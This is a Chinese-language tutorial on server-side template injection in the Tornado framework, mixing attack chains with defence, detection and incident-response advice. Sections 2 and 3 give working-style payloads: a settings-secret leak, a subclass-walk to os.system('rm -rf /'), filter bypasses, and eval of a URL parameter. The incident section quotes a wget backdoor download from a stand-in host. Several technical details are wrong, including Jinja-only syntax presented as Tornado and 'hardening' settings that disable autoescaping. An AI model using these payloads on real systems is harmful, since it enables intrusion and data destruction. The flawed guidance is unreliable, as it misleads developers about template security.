1. Tornado框架SSTI漏洞原理剖析
我第一次遇到Tornado的SSTI漏洞是在一个电商项目的安全审计中。当时开发同事为了快速实现动态页面渲染,直接把用户评价内容拼接到了模板里。这种看似便捷的操作,实际上埋下了严重的安全隐患。
Tornado的模板引擎本质上是个Python代码解释器。当开发者使用render_string()等函数时,引擎会把双花括号{{}}内的内容当作Python表达式执行。比如下面这段典型漏洞代码:
class CommentHandler(tornado.web.RequestHandler): def post(self): comment = self.get_argument('content') html = f"<div class='comment'>{comment}</div>" self.render_string(html)如果用户提交的content参数包含{{1+1}},页面就会输出<div class='comment'>2</div>。这已经构成了最基本的模板注入。但真正的危险在于,Tornado模板中可以直接访问handler对象——这是整个RequestHandler的实例,相当于给了攻击者一把通往服务器内部的万能钥匙。
我曾在测试环境尝试注入{{handler.settings}},结果直接获取到了数据库连接字符串和cookie签名密钥。更可怕的是,通过Python的对象属性链(比如__class__.__mro__),攻击者可以像玩俄罗斯套娃一样层层深入,最终执行系统命令。这就像把服务器root权限直接交给了陌生人。
2. 攻击链构造实战技巧
在去年某次渗透测试中,我发现目标系统虽然过滤了常见的危险字符,但忽略了属性访问的多种写法。这里分享几个实用的攻击链构造方法:
2.1 基础攻击向量
最直接的攻击方式是读取应用配置:
{{handler.settings}}这个简单的payload能泄露cookie_secret、数据库配置等敏感信息。我在三个真实项目中都发现过这类漏洞。
2.2 进阶RCE实现
要实现远程代码执行,通常需要遍历Python子类。不同Python版本下子类索引会有变化,这里给出一个通用查找方法:
{% for sub in ''.__class__.__mro__[1].__subclasses__() %} {{ loop.index }}: {{ sub.__name__ }} {% end %}找到os._wrap_close类后(假设索引为123),就可以构造完整的RCE:
{{''.__class__.__mro__[1].__subclasses__()[123].__init__.__globals__['os'].system('rm -rf /')}}2.3 绕过过滤的奇技淫巧
实际环境中总会遇到各种过滤机制,这里分享几个绕过技巧:
- 使用过滤器语法代替点号:
{{handler|attr('settings')}}- 十六进制编码关键函数:
{{'__imp'+'ort__'('o'+'s').popen('ls').read()}}- 利用request对象动态传参:
{{eval(handler.get_argument('cmd'))}}然后在URL中添加?cmd=import('os').popen('whoami').read()
3. 真实漏洞案例分析
去年审计某金融系统时发现一个典型案例。系统使用Tornado 6.0.4,在错误处理页面存在未过滤的模板注入:
class ErrorHandler(tornado.web.RequestHandler): def get(self): msg = self.get_argument('error_msg', 'Unknown error') self.render('error.html', message=msg)攻击者只需访问:
/error?error_msg={{handler.settings}}就能获取到包含Redis密码的系统配置。更严重的是,由于系统开启了debug模式,通过{% raw %}{% debug %}{% endraw %}还能获取到完整的堆栈信息和局部变量。
4. 多维度防御方案
在给客户做安全加固时,我总结出这套防御组合拳:
4.1 输入过滤层
建议使用白名单而非黑名单。比如只允许字母数字:
import re def safe_input(text): return re.sub(r'[^a-zA-Z0-9]', '', text)4.2 模板渲染层
强制使用静态模板,禁止动态拼接:
# 错误做法 self.render_string(f"Hello {user_input}") # 正确做法 self.render("template.html", name=user_input)4.3 沙盒环境配置
启用Tornado的受限模式:
settings = { "compiled_template_cache": False, "autoescape": None, "globals": { "__builtins__": { "range": range, "len": len, # 仅暴露安全函数 } } }4.4 系统级防护
- 使用最低权限运行Tornado进程
- 定期更新框架版本
- 禁用调试模式
- 关键操作使用子进程隔离
5. 开发中的常见误区
我在代码审查时经常遇到这些问题:
过度信任前端过滤:"前端已经用Vue转义了,后端就不用处理了"——攻击者可以直接构造HTTP请求绕过前端
不完整的黑名单:只过滤
{{}}却忘了{% %},或者漏掉了__class__等关键字误用安全函数:比如把用户输入先json.dumps()再渲染,以为这样就安全了,其实JSON字符串中仍可包含恶意代码
忽略错误处理页面:很多开发者只关注正常业务流程,却忘了错误消息展示也可能存在注入点
6. 自动化检测方案
对于大型项目,我建议建立自动化检测流程:
- 静态扫描:使用Bandit等工具检测render_string调用
bandit -r . -t B701动态测试:定制化Burp插件,自动检测模板注入点
单元测试:添加专门的SSTI测试用例
def test_ssti_protection(self): test_payloads = ["{{1+1}}", "{% debug %}"] for payload in test_payloads: response = self.fetch("/search?q=" + payload) self.assertNotIn("2", response.body) self.assertNotIn("DEBUG", response.body)7. 应急响应指南
如果已经发生SSTI攻击,建议立即执行:
- 隔离受影响服务器
- 重置所有密钥和凭证(包括cookie_secret、数据库密码等)
- 审查日志查找攻击痕迹
- 升级Tornado到最新版本
- 对代码进行全面安全审计
记得去年有个客户系统被入侵后,我们通过分析Nginx日志发现攻击者尝试执行了/bin/bash -c 'wget http://malicious.com/backdoor -O /tmp/bd'。及时切断了服务器外网连接,避免了后门植入。
开发过程中要时刻保持安全意识,就像我常对团队说的:"永远不要把用户输入当成代码执行,哪怕看起来人畜无害的字符串,也可能藏着毒蛇的獠牙。"